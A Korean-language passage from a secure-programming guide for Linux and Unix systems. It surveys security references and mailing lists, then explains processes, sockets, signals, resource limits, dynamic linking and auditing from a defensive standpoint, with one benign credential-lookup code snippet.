Matt Bishop [1996, 1997] 은 이 주제에 대해 몇몇의 지극히 가치있는 논문들과 발표들을 발표해왔으며 사실 이 주제를 위한 웹 페이지 http://olympus.cs.ucdavis.edu/~bishop/secprog.html 를 갖고 있다. AUSCERT 는 보안적인 SUID 및 네트워크 프로그램 작성 방법을 논의한 Garfinkel 과 Spafford 의 책 [Garfinkel 1996] 의 23 장의 부분적으로 기초한 프로그래밍 체크리스트 [AUSCERT 1996] 를 공개하였다. Galvin [1998a] 은 보안적인 프로그램 개발을 위한 간단한 프로세스와 체크리스트를 기술했는데 나중에 Galvin [1998b] 에서 체크리스트를 갱신했다. Sitaker [1999] 는 ``리눅스 보안 감사팀"이 찾아야 할 문제점들의 목록을 제출하고 있다. Shostack [1999] 는 보안에 민감한 코드 검토를 위한 다른 체크리스트를 정의하고 있다. NCSA [NCSA] 는 일련의 간결하지만 유용한 보안적인 프로그래밍 지침들을 제공하고 있다. 다른 유용한 정보의 출처들은 Secure Unix Programming FAQ [Al-Herbish 1999], Security-Audit's Frequently Asked Questions [Graham 1999]와 Ranum [1998] 들이 있다. 약간의 권고안들은 주의를 갖고 받아들여야 하는데 예를 들어 BSD 의 setuid(7) 맨페이지 [Unknown] 는 보통 수반되는 경쟁 상태 (race conditions) 를 언급하지 않고서 access(3) 의 사용을 추천하고 있다. Wood [1985] 는 ``Security for Programmers" 장에서 약간 유용하지만 오래된 충고를 하고 있다. [Bellovin 1994] 는 ftpd 구현을 어떻게 더욱 간단하고 보안적으로 재구축하는 가와 같은 유용한 지침들과 약간의 특정 예를 포함하고 있다. FreeBSD 는 약간의 지침들을 제공하고 있다 FreeBSD [1999]. [Quintero 1999] 는 기본적으로 GNOME 프로그래밍 지침에 관심이 있지만 보안 고려에 대한 절을 포함하고 있다. [Venema 1996] 는 보안적인 프로그램을 작성할 때 약간의 공통적인 에러들에 대한 세부적인 논의를 예와 함께 제공하고 있다 (널리 알려진 또는 예측가능한 패스워드, 악의있는 데이타에 속아넘어가기, 사용자가 접근가능한 데이타에서의 비밀과 다른 프로그램에 의존하기). [Sibert 1996] 는 악의있는 데이타로부터 생기는 위협들을 기술하고 있다.

웹을 방해하는 CGI (Common Gateway Interface) 를 사용한 프로그램들에 대한 보안 지침들을 제공하는 많은 문서들이 있다. 이들은 Van Biesbrouck [1996], Gundavaram [unknown], [Garfinkel 1997], Kim [1996], Phillips [1995] Stein [1999], [Peteanu 2000] 와 [Advosys 2000] 들을 포함한다.

언어에 고유한 많은 문서들도 있는데 이는 이 책의 언어에 특정적인 절에서 더욱 논의된다. 예를 들어 펄 배포판은 perlsec(1) 을 포함하는데 이는 펄을 더욱 보안적으로 사용하는 방법을 기술하고 있다. Secure Internet Programming 사이트인 http://www.cs.princeton.edu/sip 는 일반적인 보안 컴퓨터 보안 문제에 관계되어 있지만 자바, 액티브X (ActiveX) 와 자바스크립트와 같은 모바일 코드 시스템에도 중점을 두고 있다; Ed Felten 은 9.6절 에서 논의되는 자바를 안전하게 하기 ([McGraw 1999]) 에 대한 책을 공동 작성했다. 썬사의 보안 코드 지침들은 본질적으로 자바와 C 에 대한 약간의 지침들을 제공하고 있는데 이는 http://java.sun.com/security/seccodeguide.html 에서 얻을 수 있다.

Yoder [1998] 은 애플리케이션 보안을 다룰 때 사용되는 패턴들의 집합을 포함하고 있는데 이는 실제 일련의 특별한 지침이라기 보다는 프로그래밍을 위해 유용하다고 생각될 수 있는 공통적으로 사용되는 일련의 패턴들이다. Schmoo 그룹은 http://www.shmoo.com/securecode 에 보안적인 코드 작성 방법에 대한 정보를 링크하고 있는 웹 페이지를 관리하고 있다.

다른 관점 (예 시스템을 크랙하는 방법) 에서 문제점들을 기술하고 있는 많은 문서들이 있다. 한 예는 McClure [1999] 로 인터넷에는 이 입장으로 바라 본 셀 수 없을 만큼 많은 자료들이 있다. 컴퓨터 아키텍쳐를 악용하기 위해 어떤 공격을 해야하는 가에 대해 컴퓨터 아키텍처에 관한 더욱 일반적인 문서도 있다 (예, [LSD 2001]). Honeynet 프로젝트는 공격자가 실제 어떤 공격을 수행하는 가에 대한 정보를 수집해 왔다; 더욱 자세한 정보는 웹 사이트 http://project.honeynet.org 를 보라.

또한 기존 프로그램에서 이미 확인된 취약성에 대한 많은 정보들도 있다. 이는 많은 특정 예들로부터 더욱 일반적인 지침들을 추출하는데 많은 노력이 들어감에도 불구하고 ``하지 말아야 할 것"에 대한 일련의 유용한 예들일 수 있다. 보안 쟁점들을 논의하는 메일링 리스트들도 있다; 가장 널리 알려진 것 중의 하나는 Bugtraq 으로 무엇보다도 취약성 목록을 발전시키고 있다. CERT Coordination Center (CERT/CC) 는 인터넷 보안 문제들에 대해 취약성을 보고하는 주요 보고 센터로 가끔 패치 또는 착수한 작업의 세부사항들을 얻는 방법에 대한 지시와 함께 심각한 보안 문제와 이의 영향을 설명하는 권고안을 내놓고 있다; 더욱 자세한 정보는 http://www.cert.org/ 를 보라. 원래 CERT 는 소규모 컴퓨터 응급 대책팀이었지만 공식적으로 CERT 는 현재 이를 의미하지 않음을 주목해라. 노동부 (Department of Energy, 에너지부) 의 Computer Incident Advisory Capability (CIAC) 도 또한 취약성을 보고하고 있다. 이러한 여러 그룹들은 동일한 취약성을 식별할 수도 있지만 다른 이름을 사용할 수도 있다. 이 문제를 해결하기 위해 MITRE 는 모든 공개적으로 알려진 취약성과 다른 사람에 의해 확인된 보안 적발 (exposure) 에 대해 유일한 고유 식별자 (``이름") 를 만드는 CVE (Common Vulnerabilities and Exposures) 목록을 지지하고 있다; http://www.cve.mitre.org/ 를 보라. NIST 의 ICAT 는 검색가능한 컴퓨터 취약성들의 목록으로 각 CVE 취약성을 갖고 이들에 대한 목록을 작성함으로써 나중에 검색 및 비교될 수 있도록 한다; http://csrc.nist.gov/icat 를 보라.

이 책은 저자가 믿기에 가장 유용하고 중요한 지침들의 요악이다; 저자의 목적은 훌륭한 프로그래머가 그저 이 책을 읽은 후 보안적인 프로그램을 구현하는데 잘 준비가 되어 있도록 하는데 있다. 어떠한 하나의 문서도 실제 이 목적을 충족시킬 수는 없지만 저자는 시도할 만한다고 믿는다. 저자의 목적은 ``자주 되풀이되고 이해하기 어려운 모든 가능한 지침들의 완벽한 목록"과 ``훌륭하고 짧지만 많은 중대한 문제들을 생략한 온라인상에서 얻을 수 있는 많은 짧은 목록"사이의 균형에 도달하는 것이다. 불확실할 때는 본보기를 포함한다; 저자는 그런 경우 이 ``one stop shop" 문서내에서 모든 사람에게 도움이 되는 정보를 만드는 것이 가장 좋다고 믿고 있다. 이 책은 저자 스스로 구성한 것으로 (모든 리스트는 자신만의 다른 구조를 갖는다) 지침들의 일부 (능력들과 fsuid 값에 대한 것들과 같은 특히 리눅스 고유의 것들) 도 스스로 만든 것이다. 위에 열거된 모든 참조된 문서들을 읽는 것 또한 강력히 추천한다.

2.9. 보안 정보의 다른 출처들

보안 쟁점들만을 위한 매우 많은 웹 사이트들과 메일링 리스트들이 있는데 다음은 보안 정보의 약간의 다른 출처들이다:

• Securityfocus.com 는 많은 일반적인 보안관련 뉴스와 정보를 갖고 있으며 많은 보안 관련 메일링 리스트를 호스팅하고 있다. 구독 및 그들의 기록들 (archives) 을 보는 방법에 대한 정보는 웹 사이트를 보라. SecurityFocus 에 있는 대부분의 관련 메일링 리스트들중 일부는 다음과 같다:

  • ``bugtraq" 메일링 리스트는 컴퓨터 보안 취약성의 세부적인 논의 및 공표를 위한 완전한 폭로에 알맞는 메일링 리스트이다: 취약성들은 무엇이며 그들을 어떻게 악용하며 그리고 그들을 어떻게 수정하는가.

  • ``secprog" 메일링 리스트는 보안적인 소프트웨어 개발 방법론과 기법의 논의에 알맞는 메일링 리스트이다. 저자는 특히 이 리스트를 조사하며 SECPROG (저자가 그들에 일치하면) 에 도달한 해결 방안이 이 문서에 병합되었는지를 보증하기 위해 중재자와 협의한다.

  • ``vuln-dev" 메일링 리스크는 잠재적인 또는 미개발된 보안 구멍들을 논의한다.

• IBM 의 ``developerWorks: Security" 는 많은 재미있는 기사들을 갖고 있는데 http://www.ibm.com/developer/security 에서 더욱 많은 것을 배울 수 있다.

• 리눅스 고유의 보안 정보의 경우 훌륭한 출처는 LinuxSecurity.com 이다. 리눅스 코드 감사에 관심이 있다면 살펴 볼 곳으로는 Linux Security-Audit Project FAQ 이며 Linux Kernel Auditing Project 는 보안 쟁점들에 대해 리눅스 코드를 감사하는데 전념하고 있다.

물론 특정 시스템을 안전하게 하려면 그들의 보안 메일링 리스트에 서명 (마이크로소프트, 레드햇 등) 해야 하며 그 후 모든 보안 갱신들을 통지받을 수 있다.

2.10. 문서 관행

시스템 메뉴얼 페이지들은 name(number) 로 참조되는데 number 는 메뉴얼의 절 숫자이다. ``다른 어느 곳도 가리키지 않음"을 의미하는 포인터 값은 NULL 로 부른다; C 컴파일러들은 정수 0 을 포인터가 필요한 대부분의 경우 NULL 값으로 변환할 것이다. 그러나 C 표준의 어떤 것도 NULL 이 일련의 모두가 0 인 비트에 의해 구현되어야 함을 요구하지 않음을 주목해라. C 와 C++ 은 '\0' (아스키 0) 을 특별히 취급하는데 이 책에서 이 값은 NIL (보통 ``NUL" 로 부르지만 ``NUL" 과 ``NULL" 은 동일해 보인다) 로 간주된다. 함수와 메쏘드 이름들은 늘 정확하게 대소문자를 구별해야 하는데 이것이 어떤 문장들이 소문자로 시작해야 함을 의미해도 마찬가지이다. 저자는 유닉스, 리눅스 또는 기본 모델들이 유닉스와 매우 유사한 다른 시스템들을 의미하기 위해 ``유닉스 계열 (Unix-like)" 이라는 용어를 사용한다; 저자는 POSIX 의 일부분을 구현하고 있지만 매우 다른 보안 모델을 갖는 윈도우 2000 과 같은 시스템들이 있기 때문에 POSIX 를 말할 수는 없다.

공격자는 ``attacker", ``cracker" 또는 ``adversary" 로 부른다. 어떤 저널리스트들은 ``attacker" 대신 ``해커 (hacker)" 를 사용하는데 많은 리눅스와 유닉스 개발자들이 전통적으로 악하지 않은 의미로 그들 자신을 ``해커"라고 하기 때문에 이 책에서는 이러한 (오)사용을 피한다. 즉, 많은 리눅스와 유닉스 개발자들에게 ``해커"라는 용어는 특히 컴퓨터와 관련하여 계속해서 단순히 전문가 또는 열광팬을 의미한다.

3.1. 프로세스

유닉스 계열 시스템에서 사용자는 프로세스를 실행시킴으로써 작업을 한다. 대부분의 유닉스 시스템은 별개의 개념으로서 ``쓰레드"를 지원하는데 쓰레드는 프로세스내에서 메모리를 공유하며 시스템 스케쥴러가 실제로 이를 스케쥴한다. 리눅스에서는 이를 다르게 다루는데 (필자 의견으로는 더욱 나은 접근 방법을 사용한다) 쓰레드와 프로세스사이에 본질적인 차이는 없다. 리눅스에서는 대신 프로세스가 다른 프로세스를 생성할 때 어떠 자원 (예를 들면 메모리) 이 공유될 지를 선택할 수 있다. 곧이어 커널은 쓰레드 수준의 속도를 얻기 위해 최적화를 수행하는데 더욱 자세한 정보는 clone(2) 를 보라. 리눅스 커널 개발자들은 ``쓰레드" 또는 ``프로세스"라기 보다는 ``태스크"를 사용하는 반면 형식적인 문서에서는 프로세스를 사용하는 경향이 있음을 언급하는 것은 가치가 있다 (따라서 저자는 ``프로세스"란 용어를 사용할 것이다). 다중 쓰레드 애플리케이션을 프로그래밍할때는 보통 이러한 차이점을 드러내지 않는 표준 쓰레드 라이브러리중 하나를 사용하는 것이 더욱 좋다. 이는 대개 쓰레드의 이식성을 더욱 높이지만 단독 운영 체제 쓰레드로 한 애플리케이션 수준 이상의 쓰레드를 구현함으로써 어떤 라이브러리는 추가적인 간접 (indirection) 수준을 제공한다; 이는 어떤 애플리케이션에 대해 몇몇 시스템에서 상당히 향상된 성능을 제공할 수 있다.

3.2. 파일

모든 유닉스 계열 시스템에서 정보들은 기본적으로 "/" 루트 파일 트리에 저장된다. 파일 트리는 디렉토리들의 계층적 집합으로 디렉토리 각자가 파일시스템 객체 (FSO) 를 포함할 수도 있다.

리눅스에서 파일시스템 객체는 보통의 파일, 디렉토리, 심볼릭 링크, 네임드 파이프 (선입 선처리, FIFO, first-in first-out 이라고도 부른다) , 소켓 (밑부분을 보라), 문자 디바이스 파일 또는 블록 디바이스 파일일 수 있다 (이 목록은 find(1) 명령으로 볼 수 있다). 다른 유닉스 계열 시스템도 동일한 또는 유사한 FSO 타입 목록을 갖는다.

파일시스템 객체는 파일 트리에 디렉토리로 마운트 및 언마운트될 수 있는 파일시스템에 모아진다. 파일시스템 타입 (예, ext2 와 FAT) 은 속도, 신뢰성 등을 최적하기 위해 디스크상에 데이터를 배열하기 위한 특정한 일련의 합의이다; ``파일시스템"은 ``파일시스템 유형" 과 동의어로 사용된다.

3.3. System V 프로세스간 통신

리눅스와 System V 를 포함한 많은 유닉스 계열 시스템은 System V IPC (Interprocess communication, 프로세스간 통신) 객체를 지원하는데 이는 오픈 그룹의 Single UNIX Specification 버전 2 [Open Group 1997] 에 의해 요구된다. System V IPC 객체는 System V 메시지 큐, 세마포어 집합 및 공유 메모리 세그먼트 중 하나로 이러한 각 객체는 다음 속성을 갖는다:

• 각 생성자, 생성자 그룹 및 others 에 대해 읽기와 쓰기 허가.

• 생성자 UID 와 GID - 객체 생성자의 UID 와 GID

• 소유 UID 와 GID - 객체 소유자의 UID 와 GID (처음에는 생성자 UID 와 동일)

이러한 객체에 접근할 때 다음 규칙들이 적용된다:

• 루트 권한을 갖는 프로세스라면 접근이 허가된다.

• 프로세스 EUID 가 객체의 소유자 또는 생성자의 UID 라면 접근이 허가되는지를 보기 위해 적합한 생성자 허가권 비트가 검사된다.

• 프로세스 EGID 가 객체의 소유자 또는 생성자의 GID 이거나 프로세스 그룹들중 한 그룹의 EGID 가 객체의 소유 또는 생성 GID 라면 접근을 위해 적합한 생성자 그룹 허가권 비트가 검사된다.

• 다른 경우에는 접근을 위해 적합한 ``other" 허가권 비트가 검사된다.

루트 또는 소유자이거나 생성자의 EUID 를 갖는 프로세스는 소유 UID 및 GID 를 설정할 수 있고/있거나 객체를 제거할 수 있다. 더욱 자세한 정보는 ipc(5) 에서 얻을 수 있다.

3.4. 소켓과 네트워크 연결

소켓은 특히 네트워크를 통한 통신에 사용된다. 소켓은 본래 유닉스 시스템의 BSD 계열에서 개발되었지만 일반적으로 다른 유닉스 계열 시스템으로 이식가능하다: 리눅스와 System V 변형들도 또한 소켓을 지원하는데 오픈 그룹의 Single Unix Specification [Open Group 1997] 은 소켓 지원을 요구하고 있다. System V 는 전통적으로 호환되지 않는 다른 네트워크 통신 인터페이스를 사용했지만 솔라리스같은 시스템이 소켓 지원을 포함한다는 것을 언급하는 것은 가치가 있다. Socket(2) 은 통신을 위한 끝점 (endpoint) 를 생성하여 파일에 대한 open(2) 과 유사한 방식으로 기술자 (descriptor) 를 반환한다. 소켓 매개변수는 인터넷 도메인 (TCP/IP 버전 4), Novell 의 IPX 또는 ``유닉스 도메인" 과 같은 프로토콜 계열과 타입을 지정한다. 서버는 곧이어 일반적으로 bind(2), listen(2) 과 accept(2) 또는 select(2) 를 호출하며 클라이언트는 일반적으로 bind(2) (생략될 수도 있다) 와 connect(2) 를 호출한다. 더욱 자세한 정보는 이러한 루틴 각각의 맨 페이지를 보라. 맨 페이지에서 소켓 사용방법을 이해하는 것은 어려울 수 있는데 이러한 호출을 함께 어떻게 사용하는지를 배우려면 Hall "Beej" [1999] 와 같은 다른 논문을 참조할 수 있다.

``유닉스 도메인 소켓"은 실제 네트워크 프로토콜을 나타내지는 않는데 다만 동일 머신상의 소켓에 접속할 수 있다 (표준 리눅스 커널에 대한 이 글을 작성하는 시점에는). 스트림으로 사용될 때 이는 네임드 파이프와 아주 유사하지만 상당한 장점을 갖고 있다. 특히 유닉스 도메인 소켓은 접속 지향으로 소켓으로의 새로운 각 접속은 네임드 파이프와는 매우 다르게 새로운 통신 채널을 생성한다. 이 특성때문에 유닉스 도메인 소켓은 대개 많은 중요한 서비스에 대해 IPC 를 구현하기 위해 네임드 파이프 대신 사용된다. 언네임드 파이프를 가질 수 있듯이 socketpair(2) 를 사용하여 언네임드 유닉스 도메인 소켓을 가질 수 있는데 이는 언네임드 파이프와 유사한 방식으로 IPC 에 대해 유용하다.

유닉스 도메인 소켓은 보안과 관련해서 몇가지 재미있는 함축된 의미를 갖고 있다. 첫째 유닉스 도메인 소켓이 파일시스템에 나타나며 이에 적용되는 stat(2) 를 가질 수 있음에도 불구하고 open(2) 을 사용해서 이를 열 수는 없다 (socket(2) 와 friends 인터페이스를 사용해야 한다). 두번째 유닉스 도메인 소켓은 프로세스간 파일 기술자를 전달하는데 사용될 수 있다 (그저 파일 내용이 아닌). 다른 모든 IPC 메카니즘에서 사용할 수 없는 이러한 색다른 능력은 모든 타입의 체계 (scheme) 를 해킹하는데 사용되어 왔다 (기술자는 컴퓨터 과학 분야에서 기본적으로 ``능력"의 제한된 버전으로 사용될 수 있다). 파일 기술자는 sendmsg(2) 를 사용하여 보내지는데 msg (메시지) 의 msg_control 필드는 제어 메시지 헤더의 배열을 가리킨다 (msg_controllen 필드가 배열에 포함된 바이트수를 지정해야 한다). 각 제어 메시지는 데이타 다음에 오는 cmsghdr 구조체로 이 목적을 위해 cmsg_type 을 SCM_RIGHTS 로 설정해야 한다. 파일기술자는 recvmsg(2) 를 통해 검색되며 이때부터 유사한 방식으로 추적된다. 솔직히 이 특징은 매우 색다르지만 알만한 가치가 있다.

리눅스 2.2 는 유닉스 도메인 소켓에서 부가적인 특징을 지원하는데 peer 의 "credentials" (pid, uid 와 gid) 을 얻을 수 있다. 다음은 예제 코드이다:

 /* fd= 식별하기를 원하는 클라이언트에 접속된 유닉스 도메인 소켓의 파일 기술자 */

 struct ucred cr;
 int cl=sizeof(cr);

 if (getsockopt(fd, SOL_SOCKET, SO_PEERCRED, &cr, &cl)==0) {
   printf("Peer's pid=%d, uid=%d, gid=%d\n",
           cr.pid, cr.uid, cr.gid);

표준 유닉스에서는 1024 미만의 TCP 와 UDP 지역 포트 넘버로의 바인딩은 루트 권한을 가져야 하며 모든 프로세스는 1024 또는 그 이상의 unbound 포트 넘버에 바인드할 수 있는 것이 관례이다. 리눅스는 이 관례를 더욱 명확하게 따르는데, 리눅스는 1024 미만의 포트 넘버로 바인딩하기 위해서는 CAP_NET_BIND_SERVICE 능력을 갖는 프로세스를 필요로한다.; 이 능력은 보통 euid 가 0 인 프로세스만이 갖는다. 관심이 있다면 리눅스 소스를 살펴봄으로써 이를 확인할 수 있는데 리눅스 2.2.12 의 /usr/src/linux/net/ipv4/af_inet.c 파일에서 inet_bind() 함수를 보라.

3.5. 시그널

시그널은 유닉스 계열 OS 세계에서 ``인터럽션 (interruption, 중단)"의 간단한 형태로 유닉스의 아주 오래된 부분이다. 프로세스는 다른 프로세스에 ``시그널"을 설정할 수 있으며 (kill(1) 또는 kill(2) 를 사용하여) 다른 프로세스는 비동기적으로 시그널을 받아 처리할 수 있다. 프로세스가 어떤 다른 프로세스에 시그널을 보내는 것이 허용되기 위해서는 그 프로세스가 루트 권한을 갖거나 실제 또는 유효 사용자 ID 가 시그널을 받는 프로세스의 실제 또는 유보된 (saved) set-user-ID 와 동일해야 한다. 그러나 몇몇 시그널은 다른 방법으로 보내질 수 있다. 특히 SIGURG 는 TCP/IP 의 out of band (OOB) 메시지를 통한 네트워크를 통해 전달될 수 있다.

시그널이 유닉스의 아주 오래된 부분임에도 불구하고 시그널은 여러가지 구현에서 다른 의미 체계를 갖는다. 기본적으로 "다른 시그널을 처리하는 동안 시그널이 발생하면 어떤 일이 생길까?" 하는 질문이 한 예가 될 수 있는데 새로운 GNU libc 라이브러리보다 오래된 리눅스 libc 5 는 어떤 시그널 연산에 대해 일련의 다른 의미 체계를 사용했다. 시그널 핸들러내에서 C 라이브러리 함수를 호출하는 것이 필수적으로 안전하지는 않은데 각 호출에 대해 문서를 조사할 필요가 있다. 더욱 자세한 정보는 glibc FAQ 를 보라 (어떤 시스템에서는 /usr/doc/glibc-*/FAQ 에서 얻을 수 있다).

새로운 프로그램에 대해서는 단지 POSIX 시그널 시스템 (BSD 에 기초한) 을 사용해라; 이는 널리 지원되고 있으며 오래된 시그널 시스템이 갖고 있던 문제가 없다. POSIX 시그널 시스템은 sigset_t 데이타 타입 사용에 기초하는데 sigemptyset(), sigillset(), sigaddset(), sigdelset() 과 sigismember() 들의 일련의 연산을 통해 조작될 수 있다. sigsetops(3) 에서 이에 대해 읽을 수 있는데 manipulate 시그널 핸들링을 설정하기 위해서는 sigaction(2), sigprocmask(2) 와 sigsuspend(2) 를 사용해라 (더욱 자세한 정보는 맨 페이지를 보라).

일반적으로 모든 시그널 핸들러는 매우 짧고 간단하게 만들고 경쟁 상태를 주의해서 찾아라. 시그널은 본질적으로 비동기적이기 때문에 쉽게 경쟁 상태를 야기할 수 있다.

서버에 대해 공통된 관례가 존재한다: SIGHUP 시그널을 받으면 모든 로그 파일을 닫고 설정파일을 다시 열어 다시 읽은 후 로그 파일을 다시 열어야 한다. 이를 통해 서버를 중지하지 않고 재설정할 수 있으며 데이타 손실없이 로그 순환 (rotation) 을 할 수 있다. 이러한 관례를 따라야 하는 서버를 작성하고 있다면 이를 지원하기 바란다.

Michal Zalewski [2001] 은 시그널 핸들러가 어떻게 악용되는가에 대한 훌륭한 지도서를 작성하였고 시그널 경쟁 문제를 제거하는 방법에 대한 권고를 하였다. 저자는 더욱 자세한 정보를 위해 요약을 보기를 권한다; 다음은 저자의 권고안으로 Michal 의 것과 유사한 것이다:

• 가능한 시그널 핸들러를 무조건적으로 특정 플래그로 설정하고 그 밖의 다른 것은 하지 마라.

• 더욱 복잡한 시그널 핸들러가 필요하다면 시그널 핸들러에서 사용하기에 안전하다고 명확하게 지적된 호출들만 사용해라. 대부분의 시스템에서 시그널에 대해 보호되지 않는 C 의 malloc() 또는 free() 또는 이들에 의존하는 (printf() 계열 및 syslog()) 함수들을 사용하지 마라. 재진입 (re-entry) 을 피하기 위해 전역 플래그에 대한 검사를 이용해 비보안적인 라이브러리 호출에 대한 호출을 ``wrap" 할 수도 있지만 이를 추천하지는 않는다.

• 프로그램내의 모든 비원자적 연산동안과 시그널 핸들러내에서의 시그널 전달을 블록해라.

3.6. 쿼터와 한도

많은 유닉스 계열 시스템은 파일시스템 쿼터 (할당) 와 프로세스 자원 한도를 지원하는 메카니즘을 갖고 있으녀며 리눅스도 틀림없이 이를 지원한다. 이 메카니즘은 서비스 부인 공격을 예방하는데 특히 유용한데 각 사용자가 사용할 수 있는 자원에 한도를 설정함으로써 한 명의 사용자가 모든 시스템 자원을 소비하는 것을 어렵게 할 수 있다. 파일시스템 쿼터와 프로세스 자원 한도 모두 ``hard" 와 ``soft" 한도를 갖는데 여기서 사용된 전문 용어에 주의해라. 용어가 약간 다른 의미를 갖는다.

사용될 수 있는 스토리지 블록 수와/또는 고유 파일 수 (아이노드) 에 대해 각 마운트포인트에 스토리지 (파일시스템) 쿼터 한도를 정의할 수 있으며 사용자 또는 그룹에 대해 이러한 한도를 설정할 수도 있다. ``hard" 쿼터 한도는 절대로 초과해서는 안되는 한도이며 반면 ``soft" 쿼터 한도는 일시적으로 초과될 수 있다. quota(1), quotactl(2) 과 quotaon(8) 을 보라.

rlimit 메카니즘은 파일 크기, 자식 프로세스 수, 오픈 파일 수 등과 같이 많은 프로세스 쿼터를 지원한다. ``soft" 한도 (현재 한도) 와 "hard" 한도 (상위 한도) 가 있으며 soft 한도는 언제나 초과될 수 없지만 호출을 통해 hard 한도 값으로 상향 설정될 수 있다. getrlimit(), setrlimit() 과 getrusage() 를 보라. PAM 모듈 pam_limits 를 포함하여 이러한 한도를 설정하기 위한 여러가지 방식이 있음을 주목해라.

3.7. 동적 링크 라이브러리

실제적으로 모든 프로그램은 실행되는 라이브러리에 의존하는데 리눅스를 포함한 현재 대부분의 유닉스 계열 시스템에서 프로그램은 동적 링크 라이브러리 (Dynamically linked libraries, DLLs) 를 사용하도록 컴파일된다. 이러한 방식에 의해 라이브러리를 갱신할 수 있으며 그 라이브러리를 사용하는 프로그램은 가능한 경우 새로운 버전 (아마도 향상된) 을 사용할 것이다.

동적 링크 라이브러리는 일반적으로 몇개의 특정 디렉토리들에 놓이는데 보통 /lib, /usr/lib, PAM 의 경우 /lib/security, X 윈도우의 경우 /usr/X11R6/lib 과 /usr/local/lib 디렉토리들이 있다. 프로그램에서 이러한 표준 관례를 사용해야 하는데, 디버깅중이 아니라면 현재 디렉토리로부터 계산된 값을 동적 링크 라이브러리에 대한 소스로 사용하지 않아야 한다 (공격자가 자신이 선택한 ``라이브러리" 값을 추가할 수도 있을 것이다).

라이브러리 네이밍과 이들에 대한 심볼릭 생성에 있어 특별한 관례가 있다. 특히 심볼릭 생성을 통해 라이브러리를 갱신할 수 있으며 오래되고 역 호환성이 없는 라이브러리 사용을 원하는 프로그램을 지원할 수도 있다. 특별한 프로그램을 실행시킬 때 특정 라이브러리 또는 라이브러리내의 특정 함수만을 재정의할 수 있는 방법들도 있다. 이는 윈도우 계열 시스템에 대한 유닉스 계열 시스템의 장점이다; 저자는 유닉스 계열 시스템이 라이브러리 갱신에 대해 더욱 훌륭한 시스템이라고 믿고 있는데 이것이 유닉스와 리눅스 시스템이 윈도우 기반 시스템보다 더욱 안정하다고 평가되는 한가지 이유이다.

모든 리눅스 시스템을 포함하여 GNU glibc 에 기초한 시스템에서 프로그램 시동중에 자동적으로 검색되는 디렉토리 목록은 /etc/ld.so.conf 파일에 저장되어 있다. 많은 레드햇에서 파생된 배포판들은 일반적으로 /etc/ld.so.conf 파일에 /usr/local/lib 이 포함되어 있지 않다. 저자는 이를 버그라고 생각하는데 이러한 배포판에서 많은 프로그램들을 작동시키기 위해서는 /usr/local/lib 를 /etc/ld.so.conf 에 추가하는 수정 작업이 필요하다. 라이브러리에서 단지 몇개의 함수를 재정의하고 나머지를 그대로 이용하려면 /etc/ld.so.preload 에 재정의 라이브러리 (.o 파일) 이름을 넣어줄 수 있다; 이런 ``선적재" 라이브러리는 표준 라이브러리에 우선된다. 이 선적재 파일은 일반적으로 응급 패치를 위해 사용되는데 배포판은 출시될 때 일반적으로 이러한 파일을 포함하지 않을 것이다. 프로그램 시동시에 이런 모든 디렉토리를 검색하는 것은 매우 많은 시간이 걸리는데 실제로는 캐싱 방법이 사용된다. ldconfig(8) 프로그램은 디폴트로 /etc/ld.so.conf 파일을 읽어들여 동적 링크 디렉토리 (표준 관례를 따른다) 에 적절한 심볼릭 링크를 설정한 후 나중에 다른 프로그램이 사용할 캐시를 /etc/ld.so.cache 에 작성한다. 따라서 ldconfig 가 DLL 이 추가될때마다, DLL 이 제거될때 또는 DLL 디렉토리들이 변경될 때 실행되어야 한다; ldconfig 를 실행시키는 것은 라이브러리를 설치할 때 패키지 관리자가 자주 수행하는 조치중의 하나이다. 시동시 프로그램은 동적 로더를 사용해 /etc/ld.so.cache 파일을 읽어 들인 후 필요로 하는 라이브러리를 적재하는 것이다.

다양한 환경 변수가 이 프로세스를 제어할 수 있으며 사실 이 프로세스를 재정의할 수 있는 환경 변수가 있다 (따라서 특별한 프로그램을 실행하는 경우 잠정적으로 다른 라이브러리로 대체할 수 있다). 리눅스에서 LD_LIBRARY_PATH 는 표준 디렉토리 집합에 앞서 우선적으로 라이브러리가 검색되는 콜론으로 분리된 디렉토리 집합이다; 이는 새로운 라이브러리 디버깅 또는 특별한 목적을 위한 비표준 라이브러리 사용할 때 유용하지만 이러한 디렉토리를 제어할 수 있는 해당 사용자가 이들을 신뢰해야 함을 명심해라. LD_RELOAD 변수는 /etc/ld.so.preload 파일이 하는 것처럼 표준 집합을 재정의하는 함수들을 갖는 객체 파일을 열거한다. LD_DEBUG 변수는 디버깅 정보를 보여준다; ``all" 로 설정된다면 디버깅시에 동적 링크 프로세스에 대한 방대한 정보를 보여준다.

사용자가 동적 링크 라이브러리를 제어할 수 있게 허용하는 것은 특별한 조치를 취하지 않는다면 setuid/setgid 프로그램의 경우 매우 위험할 것이다. 따라서 GNU glibc 구현에서 setuid 또는 setgid 프로그램의 경우 이러한 변수 (또는 다른 유사한 변수) 는 무시되거나 그들이 할 수 있는 것이 제한된다. GNU glibc 라이브러리는 프로그램의 credentials 을 검사함으로써 setuid 또는 setgid 프로그램인지를 결정한다; uid 와 euid 또는 gid 와 egid 가 다른 경우 라이브러리는 setuid/setgid 프로그램 (또는 이러한 프로그램의 자손) 이라고 간주해서 링크를 제어할 수 있는 능력을 매우 제한한다. GNU glibc 라이브러리를 적재한다면 이러한 현상을 볼 수 있다; 특히 elf/rtld.c 와 sysdeps/generic/dl-sysdep.c 파일을 보라. 이는 uid 와 gid 를 euid 와 egid 와 같게 만들어서 프로그램을 호출하는 경우 이러한 변수들이 최대한 영향을 미칠 것임을 의미한다. 다른 유닉스 계열 시스템은 이 상황을 다르지만 동일한 이유로 다룬다: setuid/setgid 프로그램은 환경 변수 셋에 의해 부당하게 영향을 받지 않아야 한다.

리눅스 시스템에 대해서 저자가 작성한 문서인 Program Library HOWTO 에서 더욱 자세한 정보를 얻을 수 있다.

3.8. 감사

여러가지 유닉스 계열 시스템은 감사를 다르게 다루는데 리눅스에서 대부분의 공통된 ``감사" 메카니즘은 syslogd(8) 로 보통 klogd(8) 과 함께 작동한다. 또한 wtmp(5), utmp(5), lastlog(8) 과 acct(2) 를 살펴볼 수도 있다. 아파치 웹서버와 같은 어떤 서버 프로그램들은 자신들만의 감사 추적 (trail) 프로그램을 갖고 있다. FHS 에 따라 감사 로그는 /var/log 또는 그 하부 디렉토리에 저장되어야 한다.

3.9. PAM

